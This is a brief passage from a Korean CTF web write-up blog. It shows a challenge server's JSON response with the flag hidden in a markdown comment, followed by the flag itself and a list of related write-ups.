수신한 데이터는 아래와 같았고, flag가 포함된 것을 확인할 수 있었다. (이 데이터는 수신한 후에 별도로 렌더링 되지 않고 버려진다.)

{
    "message": "Stop overthinking it, you already know the answer here.\n\n[comment]: <> (OOO{Sometimes, the answer is just staring you in the face. We have all been there})\n\nYou already have the flag.\n\n**Seriously**, _if you can read this_, then you have the flag.\n\nSubmit it!\n", 
    "success": true
}

Flag : OOO{Sometimes, the answer is just staring you in the face. We have all been there}

'writeups > Web' 카테고리의 다른 글

sbva  (0) 2019.11.26
My admin panel  (0) 2019.11.26
Cookie Monster  (0) 2019.11.25
Stop and Listen  (0) 2019.11.25
ReadingRainbow  (0) 2019.11.25

+ Recent posts